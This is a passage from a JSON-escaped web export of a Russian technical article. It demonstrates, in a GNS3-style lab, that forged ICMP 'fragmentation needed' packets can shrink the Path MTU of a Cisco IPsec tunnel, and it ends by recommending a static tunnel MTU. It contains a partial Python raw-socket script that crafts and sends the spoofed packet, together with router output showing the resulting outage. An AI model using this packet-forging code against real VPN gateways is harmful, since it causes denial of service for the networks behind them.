b\"\\x00\\x38\\x00\\x02\\x00\\x00\\xff\\x01\\xf6\\x6a\\xc0\\xa8\\x22\\x03\\xc0\\xa8\" \\ b\"\\x22\\x04\\x03\\x04\\xb2\\x44\\x00\\x00\\x05\\x78\\x45\\x00\\x05\\xac\\x04\\xb3\" \\ b\"\\x40\\x00\\xfe\\x32\\xb8\\x15\\xc0\\xa8\\x22\\x04\\xc0\\xa8\\x17\\x02\\x5a\\xe2\" \\ b\"\\xea\\x4e\\x00\\x00\\x00\\x0e\" )  # Decrease MTU by 1024 bytes packet[2*16 + 8] = (packet[2*16 + 8] - 0x04) % 256  # Compute high byte of checksum word hbyte = packet[2*16 + 4] + 0x04  # If high byte is overflown, compensate carryover if hbyte > 255:     packet[2*16 + 5] = packet[2*16 + 5] + 1     hbyte -= 256  # Adjust high byte of checksum packet[2*16 + 4] = hbyte  packet = packet[14:] s.sendto(packet, ('192.168.34.4', 0))<\/code><\/pre>\n<p>\u0420\u0430\u0441\u0447\u0451\u0442 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432 \u0441\u0435\u0431\u044f \u043d\u0435\u043c\u043d\u043e\u0433\u043e <a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc1071\" rel=\"noopener noreferrer nofollow\">\u0434\u0440\u0435\u0432\u043d\u0435\u0439 \u043c\u0430\u0433\u0438\u0438<\/a> \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0430\u0439\u0442\u0430, \u043d\u043e \u0432 \u0446\u0435\u043b\u043e\u043c \u0438\u0434\u0435\u044f \u043f\u0440\u043e\u0441\u0442\u0430 \u2013 \u043e\u0431\u043d\u0443\u043b\u0438\u0442\u044c LSB MTU, \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 LSB \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u043d\u0430 \u0442\u0443 \u0436\u0435 \u0432\u0435\u043b\u0438\u0447\u0438\u043d\u0443. \u0412\u0435\u0441\u044c\u043c\u0430 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e, \u043d\u0435 \u0442\u0430\u043a \u043b\u0438? \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043b\u0438 \u0448\u0430\u043b\u043e\u0441\u0442\u044c:<\/p>\n<pre><code class=\"bash\">root@Attacker# python3 pckt.py <\/code><\/pre>\n<pre><code>VPN4#show interfaces tunnel0 Tunnel0 is up, line protocol is up    &lt;output omitted>   Tunnel protocol\/transport IPSEC\/IP   Tunnel TTL 255   Path MTU Discovery, ager 10 mins, min MTU 92, MTU 318, expires 00:09:48   Tunnel transport MTU 1442 bytes   Tunnel transmit bandwidth 8000 (kbps)   Tunnel receive bandwidth 8000 (kbps)   Tunnel protection via IPSec (profile \"PROFILE\") &lt;output omitted><\/code><\/pre>\n<pre><code>H5#ping 1.1.1.1 source 5.5.5.5 size 1300 df-bit  Type escape sequence to abort. Sending 5, 1300-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds: Packet sent with a source address of 5.5.5.5  Packet sent with the DF bit set M.M.M Success rate is 0 percent (0\/5)<\/code><\/pre>\n<p>\u041e\u0447\u0435\u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0448\u0430\u043b\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0430\u0441\u044c. \u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u0430 \u043a\u0430\u043a\u0438\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f? \u041d\u0430\u0447\u043d\u0451\u043c \u0441 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043b\u0435\u0436\u0438\u0442 \u043d\u0430 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u0438, \u2013 \u043f\u0430\u043a\u0435\u0442\u044b \u0441 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0431\u0438\u0442\u043e\u043c DF \u043d\u0435 \u0441\u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u043e\u0440\u0432\u0430\u0442\u044c\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u044c \u0432 \u0442\u0430\u043a\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438, \u0447\u0442\u043e \u043f\u0440\u044f\u043c\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441\u0430. \u041e\u0431\u044b\u0447\u043d\u044b\u0435 \u0436\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0431\u0443\u0434\u0443\u0442 \u0432\u043d\u0430\u0447\u0430\u043b\u0435 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0430 \u0437\u0430\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u044c. \u0424\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432\u0441\u0435\u0433\u0434\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c CPU, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0441\u043f\u043b\u0435\u0441\u043a \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0434\u043b\u044f \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0438\u0437\u0431\u0435\u0436\u043d\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u0441\u043f\u043b\u0435\u0441\u043a\u0443 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0441\u0442\u0438 CPU; \u0432 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0432\u0441\u0435\u0433\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u0434 \u0443\u0434\u0430\u0440 \u0441\u0432\u044f\u0437\u043d\u043e\u0441\u0442\u044c \u043d\u0430 \u0446\u0435\u043b\u043e\u0439 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0435.<\/p>\n<p>\u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043b\u0438 \u044d\u0442\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u043c? \u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u044d\u0442\u043e <a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc1191#page-18\" rel=\"noopener noreferrer nofollow\">\u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c<\/a> PMTUD \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u0434\u0438\u0437\u0430\u0439\u043d\u0430: \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440 \u043e\u0431\u044f\u0437\u0430\u043d \u0434\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438\u0437 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043e\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u0414\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0431\u044b ICMP \u043f\u0430\u043a\u0435\u0442 \u0432\u043a\u043b\u044e\u0447\u0430\u043b \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 ESP (\u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043f\u0430\u043a\u0435\u0442\u043e\u0432), \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 ICV \u0441 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u044b\u043b\u043e \u0431\u044b \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u043e \u0438\u0437 ICMP, \u0434\u0435\u043b\u0430\u044f \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 ESP \u0447\u0430\u0441\u0442\u0438. \u0412 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0441\u0447\u0451\u0442\u0435 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0437\u0430\u0449\u0438\u0442\u0430 \u043e\u0442 \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u2013 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c PMTUD \u043d\u0430 \u0442\u0443\u043d\u043d\u0435\u043b\u0435 \u0438 \u0437\u0430\u0434\u0430\u0432\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 MTU \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u0432\u0440\u0443\u0447\u043d\u0443\u044e. \u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u043d\u0435\u043f\u043b\u043e\u0445\u043e \u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c MTU \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0433\u043e MTU \u0434\u043b\u044f \u0442\u0443\u043d\u043d\u0435\u043b\u044f \u0432\u043f\u043e\u043b\u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0434\u043b\u044f \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0430 \u0437\u0430\u0434\u0430\u0447.<\/p>\n<p>\u0421\u043f\u0430\u0441\u0438\u0431\u043e \u0437\u0430 \u0440\u0435\u0446\u0435\u043d\u0437\u0438\u044e: <strong>\u0410\u043d\u0430\u0441\u0442\u0430\u0441\u0438\u0438 \u041a\u0443\u0440\u0430\u043b\u0451\u0432\u043e\u0439<\/strong><\/p>\n<p>\u041a\u0430\u043d\u0430\u043b \u0432 \u0422\u0435\u043b\u0435\u0433\u0440\u0430\u043c\u0435: <a href=\"https:\/\/t.me\/networking_it_ru\" rel=\"noopener noreferrer nofollow\">https:\/\/t.me\/networking_it_ru<\/a><\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/778914\/\"> https:\/\/habr.com\/ru\/articles\/778914\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>IPsec \u2013 \u044d\u0442\u043e \u0448\u0438\u0440\u043e\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0451\u043d\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u044f VPN \u0442\u0443\u043d\u043d\u0435\u043b\u0435\u0439 \u043c\u0435\u0436\u0434\u0443 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430\u043c\u0438. Path MTU discovery (PMTUD) \u2013 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0445\u043e\u0441\u0442\u0430\u043c \u0438 \u0443\u0437\u043b\u0430\u043c VPN \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 MTU \u0432\u0434\u043e\u043b\u044c \u043f\u0443\u0442\u0438 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0430\u043a\u0435\u0442\u0430, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0442\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 MTU \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0441 \u0440\u0435\u0430\u043b\u0438\u044f\u043c\u0438 \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438 \u0434\u0432\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u043a\u0435? \u0411\u0435\u0437\u0443\u0441\u043b\u043e\u0432\u043d\u043e, Cisco \u0434\u0430\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 <a href=\"https:\/\/www.cisco.com\/c\/en\/us\/support\/docs\/ip\/generic-routing-encapsulation-gre\/25885-pmtud-ipfrag.html#toc-hId-1150940493\" rel=\"noopener noreferrer nofollow\">\u0437\u0430\u043c\u0435\u0442\u043a\u0443<\/a>, \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u043e \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0449\u0443\u044e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0435 \u043f\u0440\u0438 \u0442\u0430\u043a\u043e\u043c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438. \u041e\u0434\u043d\u0430\u043a\u043e \u0432\u043e\u043f\u0440\u043e\u0441 \u043e \u0442\u043e\u043c, \u0441\u0442\u043e\u0438\u0442 \u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438 \u0434\u0432\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u043a\u0435, \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043a\u0430\u0436\u0443\u0449\u0443\u044e\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u043e\u0442\u0443.<\/p>\n<p>IPsec VPN, \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e, \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a\u0430, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u043e\u0433\u043e \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438. \u041a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u0442\u0443\u043d\u043d\u0435\u043b\u044c \u043f\u0440\u043e\u043b\u0435\u0433\u0430\u0435\u0442 \u043f\u043e\u0432\u0435\u0440\u0445 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442, \u043e\u043d \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0441\u0442\u043e\u044f\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044e \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432 \u043b\u044e\u0431\u043e\u0439 \u0444\u043e\u0440\u043c\u0435: \u0446\u0435\u043d\u0430 \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432\u044b\u0448\u0435 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. \u0415\u0441\u043b\u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u044b PMTUD \u043f\u043e\u0432\u0435\u0440\u0445 IPsec, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c \u0437\u0430\u043d\u044f\u0442\u043d\u0443\u044e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u2013 \u0440\u0435\u0448\u0435\u043d\u0438\u0435, \u0432\u043b\u0438\u044f\u044e\u0449\u0435\u0435 \u043d\u0430 \u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u0443\u044e \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c (\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 MTU \u0434\u043b\u044f IPsec \u0442\u0443\u043d\u043d\u0435\u043b\u044f), \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043e \u043d\u0430 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f (ICMP fragmentation needed \u043e\u0442\u043a\u0443\u0434\u0430-\u0442\u043e \u0438\u0437 \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u043d\u043e\u0439 \u0441\u0435\u0442\u0438). \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0442\u0430\u043a\u043e\u0439 ICMP \u043f\u0430\u043a\u0435\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043d\u0438\u0437\u0438\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 MTU \u0434\u043b\u044f IPsec \u0442\u0443\u043d\u043d\u0435\u043b\u044f \u0434\u043e \u043d\u0435\u043f\u0440\u0438\u0435\u043c\u043b\u0435\u043c\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f?<\/p>\n<p>\u041d\u0438\u0436\u0435 \u0441\u0445\u0435\u043c\u0430 \u0434\u043b\u044f \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0434\u043b\u044f \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440\u043e\u0432 \u043e\u0431\u0440\u0430\u0437 IOS \u2013 15.2(4)M11 (\u0448\u0430\u0441\u0441\u0438 Cisco 7200). \u0418\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f VPN4 \u2013 \u044d\u0442\u043e \u0431\u043e\u043b\u0435\u0435 \u0441\u0432\u0435\u0436\u0430\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 CSR1000v \u0441 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 IOS XE 16.9.3 \u2013 \u043d\u0430 \u043d\u0435\u0433\u043e-\u0442\u043e \u043c\u044b \u0438 \u0431\u0443\u0434\u0435\u043c \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u0440\u0438\u0441\u0442\u0430\u043b\u044c\u043d\u043e. Attacker \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u043a\u043e\u0439 \u0441 Ubuntu, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0441\u0432\u043e\u0438 \u0433\u0440\u044f\u0437\u043d\u044b\u0445 \u0434\u0435\u043b\u0438\u0448\u0435\u043a. \u041d\u0430 \u043e\u0431\u043e\u0438\u0445 \u0443\u0437\u043b\u0430\u0445 VPN \u0430\u043a\u0442\u0438\u0432\u0435\u043d PMTUD; MTU \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u043a\u0430\u043d\u0430\u043b\u0435 \u043c\u0435\u0436\u0434\u0443 VPN2 \u0438 ISP \u2013 \u0442\u0430\u043a \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 PMTUD \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043d\u0430\u0447\u043d\u0451\u043c \u0447\u0442\u043e-\u043b\u0438\u0431\u043e \u043f\u043e\u0440\u0442\u0438\u0442\u044c. \u041d\u0438\u0436\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0438\u0437 \u0443\u0437\u043b\u043e\u0432:<\/p>\n<pre><code>H1#show run | section router|interface interface Loopback0  ip address 1.1.1.1 255.255.255.255 interface FastEthernet0\/0  ip address 192.168.12.1 255.255.255.0 router ospf 1  network 0.0.0.0 255.255.255.255 area 0<\/code><\/pre>\n<pre><code>VPN2#show run | section router|ip route|crypto|interface crypto isakmp policy 10  authentication pre-share crypto isakmp key cisco address 0.0.0.0         crypto ipsec transform-set SET esp-aes   mode tunnel crypto ipsec profile PROFILE  set transform-set SET  interface Loopback0  ip address 2.2.2.2 255.255.255.255 interface Tunnel0  ip address 192.168.24.2 255.255.255.0  ip ospf mtu-ignore  tunnel source FastEthernet0\/1  tunnel mode ipsec ipv4  tunnel destination 192.168.34.4  tunnel path-mtu-discovery  tunnel protection ipsec profile PROFILE interface FastEthernet0\/0  ip address 192.168.12.2 255.255.255.0 interface FastEthernet0\/1  ip address 192.168.23.2 255.255.255.0  ip mtu 1400  ip ospf shutdown router ospf 1  network 0.0.0.0 255.255.255.255 area 0 ip route 192.168.34.4 255.255.255.255 192.168.23.3<\/code><\/pre>\n<pre><code>ISP#show run | section interface           interface Loopback0  ip address 3.3.3.3 255.255.255.255 interface FastEthernet0\/0  ip address 192.168.100.3 255.255.255.0 interface FastEthernet0\/1  ip address 192.168.23.3 255.255.255.0  ip mtu 1400 interface FastEthernet1\/0  ip address 192.168.34.3 255.255.255.0<\/code><\/pre>\n<pre><code>VPN4#show run | section router|ip route|interface|crypto crypto isakmp policy 10  authentication pre-share crypto isakmp key cisco address 0.0.0.0         crypto ipsec transform-set SET esp-aes   mode tunnel crypto ipsec profile PROFILE  set transform-set SET  interface Loopback0  ip address 4.4.4.4 255.255.255.255 interface Tunnel0  ip address 192.168.24.4 255.255.255.0  ip ospf mtu-ignore  tunnel source GigabitEthernet2  tunnel mode ipsec ipv4  tunnel destination 192.168.23.2  tunnel path-mtu-discovery  tunnel protection ipsec profile PROFILE interface GigabitEthernet1  ip address 192.168.45.4 255.255.255.0 interface GigabitEthernet2  ip address 192.168.34.4 255.255.255.0  ip ospf shutdown router ospf 1  network 0.0.0.0 255.255.255.255 area 0 ip route 192.168.23.2 255.255.255.255 192.168.34.3<\/code><\/pre>\n<pre><code>H5#show run | section router|interface interface Loopback0  ip address 5.5.5.5 255.255.255.255 interface FastEthernet0\/0  ip address 192.168.45.5 255.255.255.0 router ospf 1  network 0.0.0.0 255.255.255.255 area 0<\/code><\/pre>\n<pre><code class=\"bash\">root@Attacker# tunctl -t tap0 root@Attacker# ifconfig tap0 192.168.100.10\/24 up root@Attacker# ip route add 192.168.34.0\/24 via 